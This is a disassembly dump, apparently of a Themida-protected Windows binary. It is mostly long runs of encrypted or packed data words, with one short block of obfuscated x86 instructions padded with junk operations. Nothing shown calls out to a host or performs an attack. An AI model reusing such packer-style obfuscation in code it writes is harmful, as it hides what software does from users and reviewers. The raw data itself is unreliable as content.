dd 8395CCB6h, 3732h, 0CEBC6C00h, 49A3F25Dh, 1FEBD5A8h
dd 0F389810Ah, 0F2E45543h, 6E2F49A3h, 1C06A73Eh, 0C5752550h
dd 0A3F266D7h, 0F4DEB149h, 0A3F23DAEh, 95EF4A49h, 0FE2CB125h
dd 0E4F60963h, 0C269FC2Ch, 9F71BBF6h, 35DE1E49h, 18897707h
dd 63499F71h, 0C086EF90h, 1748D0E8h, 0E5338E78h, 0D76C0B3Bh
dd 0BE650030h, 0FF958D15h, 9EB42B11h, 0BED55847h, 9DB2305Ah
dd 4E531A1Ah, 2A3197Bh, 0B54B1E18h, 9D44DD0Ch, 0A1131A04h
dd 6C9B810Ah, 0F0912AD1h, 497C2596h, 8E7811B8h, 75252375h
dd 0A3F21687h, 0A48E6149h, 7AD473A3h, 0B94C7C25h, 888F7912h
dd 0B411D416h, 4AEB1CAEh, 4F000000h, 2F89810Ah, 9FCC7525h
dd 0DCC65F06h, 0A3F22596h, 439D7049h, 16877525h, 6149A3F2h
dd 0EC9CA48Eh, 1F2EA769h, 2A14E60Ah, 6EFE2C5Eh, 0A3F20F80h
dd 1E875A49h, 1B9067D0h, 86203AFh, 3232E4F6h, 6C000000h
dd 0DF796C3h, 89810A41h, 0C637252Fh, 0D349A3F2h, 0B1251E78h
dd 16877525h, 6149A3F2h, 0F23AAB99h, 0B28549A3h, 0BA538211h
dd 8F907A13h, 0F66CC661h, 877525E4h, 49A3F216h, 0E78E275Ah
dd 0FD2BC64Eh, 0A74049D4h, 3562F192h, 7DADAE98h, 0B6A454EAh
dd 49A35445h, 0BAD3BD90h, 9ED3B3EEh, 88275349h, 912C5AE1h
dd 0F13F7AEAh, 0C6DDE46Dh, 13B43D5Ch, 0BC6AB447h, 0BD64F98Ch
dd 0C553FA8Dh, 3B69EA1Ch, 0BF58FFA0h, 322AB2D5h, 3AC7F39Ch
dd 28CF700Dh, 0AF9DA58Fh, 479D1E39h, 3EEC8154h, 0E2FA08Eh
dd 0A77A4397h, 810AF1BDh, 2DCE699Bh, 25C214D3h, 0F2168775h
dd 655349A3h, 49A3F1F4h, 11E46C3Fh, 5FF62627h, 0D4B42605h
dd 1CAEB411h, 8DF454D7h, 5DF13554h, 247F73h, 0AE30000h
dd 0D26D9B81h, 3725D731h, 49A3F2C6h, 25E43E11h, 63FE2CB1h
dd 5EF724CDh, 0E4F6A874h, 4B32h, 810AA800h, 37252F89h
dd 49A3F2C6h, 0C25B8AD3h, 87E1821Bh, 9FCC7525h, 0DCC65F06h
dd 4F7C2510h, 0F262D3C1h, 0DAAD49A3h, 0FF99239h, 0AF45E00Eh
dd 21C3C12Ch, 0C6B04D5Eh, 0F8A8F6FAh, 0E3068375h, 55295FF5h
dd 49A3CDE4h, 0A6725C2Fh, 0C269FC2Ch, 3999119h, 0A2D0FB15h
dd 2EC39647h, 4FE5DD65h, 91493861h, 232F341h, 0DAE4975h
dd 27CF27A4h, 16B7065Fh, 2FB8E86Fh, 24BD6403h, 1244ED83h
dd 0E78E957Fh, 630232B7h, 0F94F1BC2h, 0D0FF94A2h, 81F2E090h
dd 0CCFB7212h, 6AB40FF9h, 63F98CBCh, 73CF31E0h, 64FDA443h
dd 0B3B7D3FBh, 212D2EC9h, 0BEA8495Ah, 45E010B7h, 4DE8179Eh
dd 9C453BA6h, 92EDD76Ah, 0CB6A9A84h, 0B1DF8836h, 0C0578716h
dd 12A5D5D6h, 3EA6Bh, 5E600000h, 6AFB2C7Ch, 790C3CC3h
dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h
dd 0B14C7A01h, 0B857830Ah
db 11h, 67h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, 4
sub ebp, edx
pop edx
xchg ebp, [esp]
pop esp
push 7210h
mov [esp], ecx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push ebx
push 2F713DEDh
pop ebx
xor ebx, 297CBAB8h
mov ecx, ebx
mov ebx, [esp]
add esp, 4
push esp
mov eax, [esp]
add esp, 4
push 4D7Dh
mov [esp], ecx
pop dword ptr [eax+8]
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_544543
; ---------------------------------------------------------------------------
dw 0B15Dh
dd 0B24763E9h, 8F0FB88Ah, 0C503060Dh, 0E0FE0FFh, 32344654h
dd 72277D64h, 8D8D0D43h, 60D908Ah, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 94C35343h, 0C1364C97h, 3A23BE66h
dd 1AD98D89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 113B4C3h, 85C781B2h, 607101Dh, 72F0h
dd 0EF816660h, 0BFBBD53Dh, 615C1AD5h, 330585C7h, 607h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 858FB8C3h, 283B3DBAh, 0B5FFF024h, 6070859h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 56C35141h
dd 820F3CEFh, 6, 14B59D29h, 95FF0607h, 6071859h, 51D8589h
dd 6A0607h, 0D6995FFh, 0C08B0607h, 0B97269EBh, 0C4FDA033h
dd 8EAC4235h, 564C3747h, 653B587Dh, 42EFFC42h, 952D5A2Eh
dd 558C7396h, 79CEBE57h, 558855CFh, 29B9C5Bh, 45C334BBh
dd 0D01E934Dh, 5426B0A0h, 87672370h, 7280E7EFh, 7A6E1AD6h
dd 0AB9DA771h, 2B898CE7h, 0FF77C18Dh, 0CCF8AA31h, 0A1D19653h
dd 6711C11Fh, 0B04781D5h, 0C67BBBE7h, 17A9EBFh, 0E87BEC6Ch
dd 13h, 49BD9E78h, 0DB5BCA41h, 6BE1EA5Bh, 0F1B56B02h, 8986D5DAh
dd 71115B5h, 8D895F06h, 6072A11h, 68B8C781h, 8B660000h
dd 1A01B8DAh, 9D8B0000h, 6071DDDh, 6653178Bh, 815BD88Bh
dd 3411DCC2h, 5EF85117h, 206DF281h, 9D2902BCh, 6070AB1h
dd 0F090EA81h, 0CE8121EFh, 50D06D80h, 0CE952h, 0C2F70000h
dd 0E242DBB4h, 0B3A438C5h, 78F49F3h, 68A0Fh, 0BD890000h
dd 6070591h, 8B04EF83h, 850F48CFh, 19h, 2BE9h, 97BAF700h
dd 0A083C8E2h, 0CBB5E5ADh, 0DF8562EBh, 1CD89F0Bh, 8DE9F937h
dd 0E3FFFFFFh, 0BC3119FEh, 0CEB7629Dh, 4A4DB230h, 7DD362A1h
dd 927B8D8Dh, 0B509060Dh, 6070F29h, 1AD98D89h, 6A0607h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 67EEF3C3h, 0F08BE2A8h, 101D85C7h, 67D80607h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 9057D7C3h, 6A59589h, 85C70607h, 6073305h, 0
dd 2669BD8Bh, 0B5FF0607h, 6071E25h, 0DE8h, 0DAD3D100h
dd 3C61978Fh, 4ABAE062h, 84B7BD28h, 5995FF5Fh, 6A060718h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 40E9C352h, 0FAD6127Dh, 0FAB3CF8h, 17B8F0BFh
dd 6A54817Ah, 6995FF00h, 8B06070Dh, 926FEBC0h, 3FEA119Ah
dd 7118D484h, 0FC345675h, 0A27B9719h, 126B11DDh, 4A6E2A64h
dd 5DCBC704h, 0A25769CFh, 4F30E161h, 3FB7A9F4h, 0E3230C8Bh
dd 576EE177h, 8328F0D1h, 5B689740h, 4C7B721h, 0CF89D862h
dd 4329FE5h, 1BE13AEFh, 0BBFB2023h, 3529052Fh, 54B1EE95h
dd 0E261C565h, 66C8EF22h, 2651B75Bh, 0C98D437Bh, 0B42146C2h
dd 8E50F5F0h, 8D8DC263h, 60D93A7h, 1F559589h, 8D890607h
dd 6071AD9h, 32B96660h, 0BBBF66FDh, 85C7619Dh, 607101Dh
dd 6234h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 8EC35242h, 2E9ECBB2h, 0F8E61B9Eh, 330585C7h, 607h
dd 0F98A0000h, 0A21B5FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 1BD4A5C3h, 59A90E94h
dd 800F5413h, 0
dd 185995FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 0A8F051C3h, 30DF81D5h, 6A4DD818h
dd 6995FF00h, 8B06070Dh, 371AEBC0h, 0B92A2124h, 462D05BBh
dd 608184DAh, 0F88672D0h, 0C929E138h, 0BE93EDC6h, 7E852h
dd 36440000h, 0C4A54AE9h, 605BF81Dh, 860F9DB0h, 3, 61D7B70Fh
dd 61F2C381h, 0C92B0000h, 0C1BF0F50h, 1934FF58h, 0E95AC38Bh
dd 13h, 2B42DAACh, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h, 81065255h
dd 0D05B88EAh, 40B8663Bh, 0D4F281F9h, 8170A705h, 56093CC2h
dd 852B524Ah, 60729F5h, 0E90B048Fh, 5, 905D7291h, 4E983CEh
dd 9E9h, 3FD06300h, 60047DEAh, 0F981593Dh, 0FFFF9EB4h
dd 0FF9B850Fh, 5760FFFFh, 94BABF66h, 8D8B605Ah, 60728F5h
dd 0DE9h, 0E6E77500h, 355A26FEh, 51458F78h, 6161C404h
dd 955B8D8Dh, 6A060Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 4EE7CDC3h, 3C17CB31h, 0B50193D8h
dd 60725D5h, 5C98589h, 8D890607h, 6071AD9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 23C35040h, 7737780Dh
dd 0F58A7D25h, 0D18B6650h, 2D853158h, 0C706072Ah, 7101D85h
dd 72E006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 0B2D70B17h, 8B089CFAh, 72C7D9Dh
dd 585C706h, 60733h, 0FF000000h, 72639B5h, 0D2BF0F06h
dd 185995FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0A86AE9C3h, 9317482Fh, 60D081F5h
dd 6A3A4D41h, 6995FF00h, 8B06070Dh, 754CEBC0h, 63320C4Ch
dd 2EC42046h, 170830E4h, 65A23353h, 0E49AD743h, 7C1913ECh
dd 8F3F1BDDh, 0ADA95A22h, 6EA19E14h, 7A172917h, 0A587DD50h
dd 6C8F293Fh, 0C53EFD42h, 13710ECCh, 93A62B0Ch, 67D609h
dd 0F92BE5A3h, 7FF55973h, 8D20E41Eh, 0D96298Dh, 8D89F806h
dd 6071AD9h, 0F42BE66h, 0C7D3B70Fh, 7101D85h, 63E006h
dd 0C7DA8B00h, 7330585h, 6, 0A8BF6600h, 31B5FF0Ah, 0E8060715h
dd 14h, 3EB2F386h, 1EF29B2Ch, 45EA57E1h, 65FC80Eh, 15D25C5Dh
dd 14E8h, 0B866D700h, 0EF84C81h, 5C2AC205h, 0ADC68931h
dd 1485E9BBh, 5E5F56F6h, 5995FF5Ah, 81060718h, 4A7AB3D0h
dd 0FF006A75h, 70D6995h, 0EBC08B06h, 8B3AB909h, 0A9E54939h
dd 5FE998E6h, 52000001h, 0E860D48Bh, 0
dd 45ED815Dh, 8B060D96h, 453D0842h, 0F782638h, 13885h
dd 0C428B00h, 0D3184A8Bh, 0B305BBC8h, 0C3335FFAh, 8904E883h
dd 71AD985h, 4588B06h, 428BF88Bh, 184A8B10h, 5BBEC8D3h
dd 33D86B6Eh, 83C72BC6h, 0E883FCE0h, 1D858904h, 8B060710h
dd 85891442h, 6073305h, 5318428Bh, 0B0E9h, 85B5FF00h, 0E906070Eh
dd 0B9h, 5D1B5FFh, 0AEE90607h, 0FF000000h, 712B5B5h, 0A3E906h
dd 0B5FF0000h, 6071171h, 98E9h, 59B5FF00h, 0E9060708h
dd 8Dh, 1351B5FFh, 82E90607h, 0FF000000h, 72639B5h, 77E906h
dd 0B5FF0000h, 6071531h, 6CE9h, 0E9B5FF00h, 0E906070Bh
dd 61h, 124DB5FFh, 56E90607h, 0FF000000h, 707C5B5h, 4BE906h
dd 0B5FF0000h, 6072D31h, 40E9h, 69B5FF00h, 0E9060704h
dd 35h, 1E25B5FFh, 2AE90607h, 0FF000000h, 70A21B5h, 1FE906h
dd 0B5FF0000h, 6072039h, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h
dd 0D96A68Dh, 0FFC80306h, 5995FFE1h, 5B060718h, 1AD9858Bh
dd 58390607h, 0F850F04h, 53000000h, 95FF016Ah, 6070D69h
dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
dd 60700A1h, 97948D8Dh, 4189060Dh, 0E8C38B01h, 13h, 38E119h
dd 3B18EE0Ah, 2D533925h, 8045DCB4h, 5FC1BE20h, 0BB665656h
dd 5E58FB81h, 6B0AC781h, 1FBA0000h, 810A2A42h, 0D5D872C2h
dd 0F6BF0FF5h, 0F48037FFh, 81F559C1h, 9DB436C1h, 8106B34Dh
dd 0A9554EF1h, 8143B728h, 0CDF192C1h, 89C18B19h, 0D98B660Fh
dd 8D76EF81h, 10E83AF7h, 0AE000000h, 4B076150h, 0FCE0D4CCh
dd 0DCCA9805h, 0FC9E2703h, 72C7815Eh, 0E83AF78Dh, 0Eh
dd 5DB4D9Dh, 88873A0Dh, 89C0D317h, 0BF0F36C7h, 0F4A5EF6h
dd 1B85h, 0D9B70F00h, 2DE9h, 43E9D100h, 74EC17BBh, 3D3D9C25h
dd 6B2F4154h, 18481A60h, 5840Fh, 2EBE0000h, 0E962D8DBh
dd 0FFFFFF70h, 7EC0B275h, 509AAB8Ah, 85C6493Dh, 60709CDh
dd 30DF6856h, 0B5FFA9C5h, 6070D99h, 7038858Dh, 0D0FF060Ah
dd 1A018D8Dh, 6A510607h, 89B5FF40h, 0FF06071Eh, 719B5B5h
dd 0FFD0FF06h, 71E89B5h, 0B5B5FF06h, 0E8060719h, 14h, 6A80AFF9h
dd 48D15F09h, 78ADC599h, 32C32B57h, 0D42942A0h, 0EF835F5Fh
dd 242CC104h, 2424C102h, 243C0302h, 68241CF7h, 0
dd 370C8B5Eh, 0D75AF181h, 0E9815F6Fh, 6579E4E3h, 0DEDCE981h
dd 8F510C72h, 0EE833704h, 343B4E03h, 17850F24h, 0E9000000h
dd 25h, 437CB7A0h, 0CC62B01Ch, 1CBA5A5Dh, 2B052199h, 0BEE9BD59h
dd 2CFFFFFFh, 0F943C7CCh, 0C18899Bh, 958815BEh, 899D8DC3h
dd 8B06070Ch, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 0ABE9C98Bh
dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h
dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h
dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h
dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
dd 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h
dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
dd 1E80097h, 3D94E7A6h, 37318332h, 0DDE93EF5h, 68000012h
dd 60D9BD4h, 0F9E372E9h, 9CE868FFh, 68E9060Dh, 68FFF9E3h
dd 60D9DB0h, 0F9E35EE9h, 9EE068FFh, 54E9060Dh, 68FFF9E3h
dd 60D9F64h, 0F9E34AE9h, 0A00068FFh, 40E9060Dh, 68FFF9E3h
dd 60DA0A2h, 0F9E336E9h, 0A15D68FFh, 2CE9060Dh, 68FFF9E3h
dd 60DA201h, 0F9E322E9h, 0A39368FFh, 18E9060Dh, 68FFF9E3h
dd 60DA46Fh, 0F9E30EE9h, 0A5D468FFh, 4E9060Dh, 68FFF9E3h
dd 60DA6E6h, 0F9E2FAE9h, 0A8E168FFh, 0F0E9060Dh, 68FFF9E2h
dd 60DA9CEh, 0F9E2E6E9h, 0C85D8EFFh, 0C5608C33h, 0C05B8930h
dd 0BC55842Bh, 0B44D8027h, 0B16C841Fh, 0A74EE37Eh, 9F46DB7Ah
dd 9E45DA6Dh, 7542D76Eh, 58A81907h, 0DCF34396h, 0BF301ECEh
dd 0A439658h, 2C814D37h, 50D369FCh, 0F0FF2D57h, 1B341ED3h
dd 3CD16494h, 5DF3EB73h, 0E70F7FDAh, 0E5CFB647h, 0DA45EFDDh
dd 2D0047A2h, 0A94DBA86h, 6391439Ch, 6E9A21C8h, 7DB828CFh
dd 0EACD73B3h, 53B9A5Ch, 3AA11FB6h, 5000000h, 0F48A820Ah
dd 8754C144h, 235EEBB6h, 2971F339h, 0C99C47A2h, 0C05D8A33h
dd 7D968019h, 9C0944B1h, 808E7143h, 0B6A9973Eh, 0DF451Fh
dd 0C46D0000h, 0BD56FD98h, 7F69FC2Eh, 4F7C25B3h, 8C760FB6h
dd 15BC5B8Bh, 23CA5B8Eh, 0F6E46C9Ch, 49A3F285h, 49DC0FD0h
dd 0EE7107A8h, 12A0146h, 0A98A453Bh, 59EA5BC4h, 9A213A24h
dd 4A36CB6Ah, 49A35C94h, 0C85DF828h, 0AF56F121h, 0F0867E06h
dd 0D0679740h, 60A69029h, 47A26C26h, 9059EEC1h, 0CA7A1008h
dd 0AA45711Ah, 9C3B65D6h, 0F3DDB043h, 949E00ADh, 62F8CB41h
dd 56EB86B9h, 13E97CAFh, 0F07E2DEEh, 5064E514h, 58000010h
dd 52F98E27h, 4BF28726h, 46ED821Dh, 42E97E17h, 46E1760Fh
dd 0A540732Eh, 0A13C6910h, 0A033650Ch, 0A134640Bh, 0E3D13F0Ch
dd 43965772h, 2CD4A6BDh, 2CD368F9h, 0E94C7BFCh, 859BB22Bh
dd 47E8899Dh, 0CD362EB1h, 0C1EF4D9Ah, 7222D0D7h, 0A3EA1384h
dd 0A18B5E49h, 8A820AD5h, 18406F4h, 0E7AF47A3h, 9CE188F9h
dd 5F00D343h, 0E17FECB8h, 0C9AC439Ch, 0D15C797Fh, 0C16A1FB5h
dd 0BE4CF38Eh, 9CD55FD0h, 36D7AA43h, 0D541B2A0h, 0B98C439Ch
dd 0D5DBCFh, 2C3F0000h, 0B24D7BFCh, 0BD58840Bh, 3BDC7D16h
dd 47DA0D94h, 52D908B1h, 58E78825h, 4FE88F2Ah, 0CA804C65h
dd 5749A3EEh, 3CE382AEh, 965930DBh, 58F91B3Dh, 0AA3D6D6Eh
dd 0DF3E6E15h, 4F572FF7h, 7F26C7CAh, 0C0564ED6h, 0A2D098D2h
dd 0CA603347h, 9FBB2C1Ah, 3306439Ch, 0F1794249h, 6D7563F9h
dd 0A4419504h, 0DB8B3BD1h, 92F47CEDh, 0AF4C73Dh, 0A63BD609h
dd 6339CCFFh, 0F07FB644h, 3CCE4F7Eh, 4400000Fh, 46ED8213h
dd 3FE67B1Ah, 3AE17611h, 36DD720Bh, 42DD7203h, 0A93C6F2Ah
dd 0A5406D14h, 9C376910h, 95306007h, 0D7C53300h, 43965666h
dd 2CC89AB1h, 25D368F9h, 0F2168775h, 0A06149A3h, 9730D772h
dd 0DB0B0CF6h, 0CFFDA63Ch, 0AF48D34h, 7DAC5503h, 2C2EFAE4h
dd 34C269FCh, 0F2BA88B1h, 5EF153Fh, 2653D404h, 2DCE6999h
dd 0B74CED86h, 0AB7FE210h, 4A69AB12h, 0D65D04A5h, 57F221A6h
dd 6F8C21B6h, 0C35951D9h, 0A2D62BD5h
db 47h
byte_5A6531 db 0E6h, 25h, 0F3h ; DATA XREF: Themida_:0054CA5Ao
dd 2C38BF60h, 0B216B4BEh, 0CA6058E0h, 11A41ADCh, 4BF2C54Ah
dd 4BE614BDh, 0BEB63E61h, 0B3C53A28h, 0DE04405h, 199ECE77h
dd 18AD4EE9h, 0D0A64171h, 0F5CD9745h, 741596C5h, 7C00000Eh
dd 7E25BA4Bh, 771EB352h, 7219AE49h, 6E15AA43h, 7A15AA3Bh
dd 0E174A762h, 0DD78A54Ch, 0D46FA148h, 0CD68983Fh, 0FFD6B38h
dd 4396559Eh, 2C00D2E9h, 34C269FCh, 0D4BE598Bh, 9B3129B1h
dd 760F42EBh, 64C36CFh, 47A2F258h, 0F2BB5023h, 0EEDC726Ah
dd 419BEA6Ch, 511DC497h, 3D95EAE4h, 2FE02E11h, 15BC5986h
dd 9C39927Ch, 3E25BCC8h, 4Dh, 9C820AA2h, 9C32D36Eh, 0A336DAAEh
dd 881EF147h, 0A64D7305h, 9CBB47B8h, 56BF9243h, 0A30C30A4h
dd 99C27994h, 0D3DBC5FDh, 0BF97A023h, 3DA111BFh, 3CE382AEh
dd 86B8B9A3h, 0FF6A56EBh, 3F439C21h, 3CE3780Fh, 4FD0770Ah
dd 0DB7h, 8A820AC5h, 0A69444F4h, 49A3F235h, 7DC3AD80h
dd 479888BDh, 52FB9164h, 47EE8322h, 4BD98017h, 2518AC8h
dd 735DD7B1h, 3AD0C850h, 8B7D374Ch, 2E41C441h, 0A84298AFh
dd 3B0E08F2h, 39CCFCA5h, 3ACDFDA4h, 6A62EA93h, 1838E6D4h
dd 45F53B88h, 8216E657h, 745E3137h, 53C4B27Ah, 9E378216h
dd 6E15B0DDh, 0BD9334D5h, 0EE4E9452h, 44F071A0h, 4C00000Dh
dd 4EF58A1Bh, 47EE8322h, 42E97E19h, 3EE57A13h, 4AE57A0Bh
dd 0B1447732h, 0AD48751Ch, 0A43F7118h, 9D38680Fh, 0DFCD3B08h
dd 4396546Eh, 0E7D0A2B9h, 49A3F27Ah, 861C149Ch, 98894B98h
dd 0AD850847h, 3409D6Dh, 330600EAh, 3CC4F49Dh, 20C76693h
dd 8042B387h, 0F28D4396h, 23E02578h, 29CA6B39h, 2ABDED94h
dd 9252DA83h, 0AC735AD3h, 2BC162AFh, 95518F3Dh, 0B1875A41h
dd 0F07BE970h, 0C01A9BCAh, 0C800000Ch, 0C269FE97h, 0BB62F796h
dd 0B65DF28Dh, 0B259EE87h, 0B651E67Fh, 15B0E39Eh, 11ACD980h
dd 10A3D57Ch, 11A4D47Bh, 5341AF7Ch, 439653E2h, 2C44162Dh
dd 3BC269FCh, 2DD66C0Bh, 647D67FAh, 0D81E2881h, 19AEBBFDh
dd 6B5DFh, 820A4300h, 0D15545C2h, 0E15F07F7h, 9CC42DA9h
dd 0BD53F4ECh, 983985CFh, 0D76D4047h, 0D267FE2Eh, 7F5FA124h
dd 91F305E7h, 0F176A6A7h, 0DB8223BEh, 9692A20Fh, 443CC443h
dd 9212C0AEh, 42DD4195h, 2114ADB4h, 0A27819E5h, 0F07B576Dh
dd 2425A6D5h, 2C00000Ch, 2ED56AFBh, 27CE6302h, 22C95EF9h
dd 1EC55AF3h, 2AC55AEBh, 91245712h, 8D2855FCh, 841F51F8h
dd 7D1848EFh, 0BFAD1BE8h, 4396524Eh, 2CB08299h, 847DA1FCh
dd 266BA4DDh, 157EB792h, 0B92220F8h, 465A0EF0h, 8229CAF8h
dd 852CCBFBh, 0F9FF49A2h, 19AF1CDCh, 781341EAh, 6049A8Eh
dd 0E7FE0000h, 49A3F27Ah, 861C149Ch, 98888E98h, 60F6C947h
dd 3DD807B0h, 1213FD96h, 8E2955E2h, 58990AF8h, 11E44396h
dd 434DB70h, 9921CA71h, 6F1D0BA1h, 3A419558h, 0D22C9167h
dd 0AFDEF07Bh, 0B822Eh, 0BC598A00h, 0B9548027h, 0B44F7D24h
dd 0B049781Fh, 0B041741Bh, 0AD68801Bh, 0AB52E77Ah, 0A34ADF7Eh
dd 9A41D671h, 6936CB6Ah, 529C0DFBh, 0D0E74396h, 74FC2CFEh
dd 0A3F21586h, 0EC8D6049h, 0EA7DAD56h, 0A7C0AA43h, 3567F020h
dd 0C162FBA2h, 50DE371Ah, 0AEBC478Eh, 5689519h, 0AF90000h
dd 6F48A82h, 4798895Bh, 99346122h, 0F6F059F2h, 508D561Dh
dd 29D26809h, 1BC95EF9h, 3AA4372h, 4F7F806Ah, 0E1149BCAh
dd 6F10A950h, 0E78E2FC8h, 4ABBA959h, 954396EDh, 2592D8C2h
dd 474396EDh, 8131C7BFh, 8312ABD8h, 750EB550h, 0ED97458Bh
dd 8F624195h, 7B4D6EB9h, 0DC5D8CF0h, 0AC7h, 72079ECFh
dd 6B009FCBh, 66FB96C4h, 60F590BFh, 56EB86B9h, 0B5E8A3BBh
dd 0B3E0871Ch, 0ACDE851Ah, 0ADDD8419h, 4AB8851Ah, 9650EB5Ch
dd 4D1F3643h, 0C269FC2Ch, 0D66C0B3Bh, 0D665002Dh, 0A230DA8h
dd 0C39E2127h, 0ED583DEh, 0FA449F89h, 0AF23E1F4h, 0F3EE719h
dd 0AB988C76h, 0FC000004h, 0A3F275E7h, 170F9749h, 0FC28D181h
dd 9221BA61h, 831CC362h, 897B5399h, 0BF924798h, 0B5508029h
dd 0AE497920h, 0A6416F18h, 72FAA3BCh, 0B3BE47Ah, 422CC56Ch
dd 6FFA4C3Ah, 0F2C54195h, 7BFBC51Ch, 4DCEFDF0h, 0A23h
dd 0C65BFA2Bh, 0BF54F31Fh, 0BA4FEA18h, 0B449E413h, 0B247DA0Dh
dd 1144FF17h, 1744EB80h, 1042E97Eh, 939E075h, 9E0CD96Eh
dd 96503FB0h, 0A1738A43h, 86A1FC2Ch, 85A4D0E4h, 0B5507D0Ch
dd 0E6FB7E14h, 798C60ADh, 1F907E14h, 6A49A326h, 0D94AD97h
dd 4B44ADDh, 3FC25781h, 1AEE79A0h, 49A306A9h, 609221F4h
dd 11C2DBC5h, 9078FBABh, 0BD63F89Eh, 3BC6370Bh, 3E1149A3h
dd 3EE580AFh, 0D660BBA5h, 89D3868h, 7861D75Ah, 214EF905h
dd 6FF7DE37h, 42E519AFh, 49000001h, 0D369FC2Ch, 735DF82Ah
dd 4A3D35Ah, 261EA66Fh, 7F8A290h, 0E0B347A3h, 0D7006D39h
dd 4A2D439Ch, 0D6DBFAFCh, 44ED1FB5h, 0A0947E17h, 5Ch, 9C820A04h
dd 0AA31D869h, 0A43ADB7Ah, 0A3F245B6h, 1CBD9049h, 0E2B60386h
dd 0A7A377A0h, 45C7B5BDh, 7047A265h, 325E079Dh, 3D483CBh
dd 832409FAh, 405943DCh, 9C770774h, 801F4B43h, 861F52D9h
dd 0AB752EDFh, 54E2C56Bh, 0B63B4392h, 3402851Fh, 93D8140Eh
dd 0A8625640h, 0C6000000h, 9ECC7525h, 0EFC35C03h, 49A3F27Eh
dd 0B0CF6C9h, 0E953CDBh, 15A34ADBh, 3BDF1B92h, 634D0E21h
dd 76A53262h, 7EAD34DBh, 2A33CE3h, 333BA61h, 7DE3CF64h
dd 0B149A360h, 32CBF881h, 0BB51F28Bh, 50AC1D0Bh, 24F749A3h
dd 0E26A333Ah, 8E35D0FCh, 0D0BE54F5h, 479BB546h, 6F18AE81h
dd 6D14A93Ch, 82D1A73Ah, 78FA6504h, 891C849h, 68990000h
dd 659138CDh, 608E35CAh, 5A8930C5h, 50832ABFh, 6D8520B5h
dd 51E67FB2h, 4BE07DAAh, 4ADF72A4h, 3FD473A3h, 0A5160472h
dd 0F043964Fh, 0F92C07D9h, 0FC2CD368h, 2C62D469h, 3BC269FCh
dd 36D76C0Bh, 28Ah, 8A820AACh, 57006F4h, 4A0B47A3h, 2B9C8A1Eh
dd 76439CD4h, 0BA6102A3h, 9CD481EEh, 751EAE43h, 6D06AD48h
dd 0D81E2883h, 1FB5DDFDh, 224DFh, 77E74300h, 9549A3F2h
dd 917F150Dh, 4798887Fh, 0B861F7CAh, 3ACDFF88h, 0C359FA93h
dd 0A4282440h, 0AA94747Ch, 44CCFCA3h, 9625E556h, 0BC5D3043h
dd 0B34E7D26h, 450A730Ch, 79694109h, 0DB6CFB9h, 9F78D85h
dd 4195FCB7h, 0A74BF174h, 0CF363F2Bh, 8855C866h, 1903744Bh
dd 0CF764C1Fh, 0ABF07B98h, 7B5FB7Ch, 8CBD0000h, 91BD64F9h
dd 8CBA61F6h, 86B55CF1h, 7CAF56EBh, 0A1B954E9h, 8D22B3E6h
dd 871CB9E6h, 7E13AEE0h, 7B10A7D7h, 0E15240AEh, 2C43964Eh
dd 0FC2C4315h, 0B3BC269h, 5B14C56Ch, 943363CDh, 0BFD500FFh
dd 760719AEh, 6B000001h, 8674FC2Ch, 49A3F215h, 56EC8D60h
dd 9708F6A6h, 0E249A3F2h, 0F2CA3B0Fh, 421549A3h, 88B83F58h
dd 0FAAA58EDh, 0A3F29B0Ch, 2A4BE649h, 0E7779C1Fh, 3C6FFE9Fh
dd 149CBFA9h, 2DD6861Ch, 28C168FBh, 0B84EF83Eh, 360947A2h
dd 8756C38Fh, 0F383439Ch, 48FD6070h, 4F396BD9h, 31A42AF4h
dd 0AB1FB6A1h, 39h, 8A820A0Fh, 0A69444F4h, 49A3F235h, 7DC3AD80h
dd 47A300FBh, 9E396526h, 92BE67FDh, 0DF558AF3h, 0F10841F1h
dd 0B522EE07h, 0E2439C78h, 26AF31FFh, 0B41FB63Ah, 0B8h
